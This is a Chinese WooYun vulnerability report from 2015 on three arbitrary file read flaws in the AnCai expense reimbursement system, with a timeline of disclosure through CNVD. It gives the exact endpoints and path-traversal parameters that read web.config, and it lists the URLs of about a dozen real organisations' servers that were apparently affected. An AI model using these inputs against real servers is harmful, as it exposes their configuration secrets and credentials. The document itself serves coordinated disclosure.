安财网络报销系统存在3处任意文件读取

编号121651
Urlhttp://www.wooyun.org/bug.php?action=view&id=121651
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题安财网络报销系统存在3处任意文件读取
漏洞类型任意文件遍历/下载
厂商CNVD
白帽子路人甲
提交日期2015-06-23 11:44:00
公开日期2015-09-24 16:14:00
修复时间(not set)
确认时间2015-06-26 00:00:00
Confirm Spend3
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank13
漏洞简介
只有三处任意文件读取了,没别的了,只能打包三处了~
漏洞细节

总是说案例不多,其实案例是蛮多的,财务报销这类的敏感有很多都放在内网或者其他原因没有被收录罢了;
官方还是列举了不少大的企业的:
http://www.acsoft.com.cn/RecommendList
三处任意文件读取了:
第一处:
/WS/WebServiceBase.asmx/GetXMLList
读web.config信息:strXMLFileName=/../web.config
第二处:
/WS/WebService.asmx/GetFile
读取webconfig: VirtualPath=&FileName=web.config
第三处:
/WS/WebService.asmx/GetFileContent
读取webconfig:Content=1&fileName=web.config
三处案例都发过来:
http://bx.xiaotong.com.cn/WS/WebServiceBase.asmx/GetXMLList
http://ac.qfkd.com.cn/WS/WebServiceBase.asmx/GetXMLList
http://122.224.179.212:8000/WS/WebServiceBase.asmx/GetXMLList
http://fy.feishang.cn/WS/WebServiceBase.asmx/GetXMLList
http://218.17.152.205:8181/WS/WebServiceBase.asmx/GetXMLList
http://nrs.nuctech.com/WS/WebServiceBase.asmx/GetXMLList
http://114.247.147.253/WS/WebServiceBase.asmx/GetXMLList
http://101.68.67.227:81/WS/WebServiceBase.asmx/GetXMLList
http://krs.kirisun.com:8086/WS/WebServiceBase.asmx/GetXMLList
http://hkahk.dns0755.net:7900//WS/WebServiceBase.asmx/GetXMLList
http://fol.m4tel.com:1700//WS/WebServiceBase.asmx/GetXMLList
http://fol.ck-telecom.com:1800/WS/WebServiceBase.asmx/GetXMLList
http://ac.isantai.com:9000/WS/WebServiceBase.asmx/GetXMLList
http://bx.xiaotong.com.cn/WS/WebService.asmx/GetFile
http://ac.qfkd.com.cn/WS/WebService.asmx/GetFile
http://122.224.179.212:8000/WS/WebService.asmx/GetFile
http://fy.feishang.cn/WS/WebService.asmx/GetFile
http://218.17.152.205:8181/WS/WebService.asmx/GetFile
http://nrs.nuctech.com/WS/WebService.asmx/GetFile
http://114.247.147.253/WS/WebService.asmx/GetFile
http://101.68.67.227:81/WS/WebService.asmx/GetFile
http://krs.kirisun.com:8086/WS/WebService.asmx/GetFile
http://hkahk.dns0755.net:7900//WS/WebService.asmx/GetFile
http://fol.m4tel.com:1700//WS/WebService.asmx/GetFile
http://fol.ck-telecom.com:1800/WS/WebService.asmx/GetFile
http://ac.isantai.com:9000/WS/WebService.asmx/GetFile
http://bx.xiaotong.com.cn/WS/WebService.asmx/GetFileContent
http://ac.qfkd.com.cn/WS/WebService.asmx/GetFileContent
http://122.224.179.212:8000/WS/WebService.asmx/GetFileContent
http://fy.feishang.cn/WS/WebService.asmx/GetFileContent
http://218.17.152.205:8181/WS/WebService.asmx/GetFileContent
http://nrs.nuctech.com/WS/WebService.asmx/GetFileContent
http://114.247.147.253/WS/WebService.asmx/GetFileContent
http://101.68.67.227:81/WS/WebService.asmx/GetFileContent
http://krs.kirisun.com:8086/WS/WebService.asmx/GetFileContent
http://hkahk.dns0755.net:7900//WS/WebService.asmx/GetFileContent
http://fol.m4tel.com:1700//WS/WebService.asmx/GetFileContent
http://fol.ck-telecom.com:1800/WS/WebService.asmx/GetFileContent
http://ac.isantai.com:9000/WS/WebService.asmx/GetFileContent

POC

第一处:

a1.png


a2.png


a3.png


第二处:

a4.png


a5.png


a6.png


a7.png


第三处:

a8.png


a9.png


修复方案

状态信息 2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向第三方安全合作伙伴开放
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开
厂商回复CNVD确认所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。
回应信息危害等级:高漏洞Rank:13 确认时间:2015-06-26 16:12